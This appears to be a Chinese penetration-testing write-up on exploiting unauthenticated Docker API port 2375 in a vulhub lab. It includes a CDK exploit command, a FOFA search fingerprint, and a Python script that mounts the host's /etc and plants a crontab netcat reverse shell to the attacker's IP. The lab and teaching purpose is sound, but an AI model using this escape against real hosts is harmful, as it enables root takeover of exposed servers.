【云原生渗透】- Docker API 2375端口未授权访问容器逃逸漏洞
前言漏洞介绍漏洞利用 cdk关于该漏洞的exp 漏洞复现 环境准备 漏洞检测 漏洞利用
前言
Docker Daemon把服务暴露在tcp的2375端口上,常见docker端口包括:
2375:未加密的docker socket,远程root无密码访问主机2376:tls加密套接字,很可能这是您的CI服务器4243端口作为https 443端口的修改2377:群集模式套接字,适用于群集管理器,不适用于docker客户端5000:docker注册服务4789和7946:覆盖网络
漏洞介绍
Docker Daemon把服务暴露在tcp的2375端口上,这样就可以在网络上操作Docker了。Docker本身没有身份认证的功能,只要网络上能访问到服务端口,就可以操作Docker。与上面的docker.sock
文件利用类似。
可以通过docker客户端的-H
参数连接并控制目标暴露的2375端口服务:
-H, --host list Daemon socket(s) to connect to
fofa指纹:app="docker-Daemon"
但会遇到本地docker client与目标docker server版本不兼容的问题,造成无法正常连接:
可以使用python库进行docker连接控制。
漏洞利用
cdk关于该漏洞的exp
攻击Docker API 2375未授权访问漏洞,控制宿主机的dockerd创建一个新容器,并挂在宿主机根目录/
到容器内部/host
,然后执行用户输入的指令来篡改宿主机的文件,比如可以写/etc/crontab来搞定宿主机。
./cdk run docker-api-pwn http://127.0.0.1:2375 "touch /host/tmp/docker-api-pwn"
漏洞复现
以下漏洞复现参考:
Docker API 未授权访问漏洞复现 | LuckySec
http://luckyzmj.cn/posts/a398fa24.html
环境准备
靶机环境:192.168.126.130 (ubuntu)
攻击环境:192.168.126.128 (kali)
在靶机上使用vulhub
复现漏洞环境。
cd /vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d
漏洞检测
漏洞利用
在kali上安装docker环境
apt-get install docker docker-compose
service docker start
在kali上开启nc监听本地1111端口,用来接收反弹的Shell
使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。可以将命令写入 crontab 配置文件,进行反弹shell。
import docker
client = docker.DockerClient(base_url='http://192.168.126.130:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.126.128 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
然后执行 python 脚本反弹Shell给Kali主机的1111端口。
python docker-hack.py
执行完脚本,耐心等待一会才会反弹shell到kali主机,大约一分多钟时间。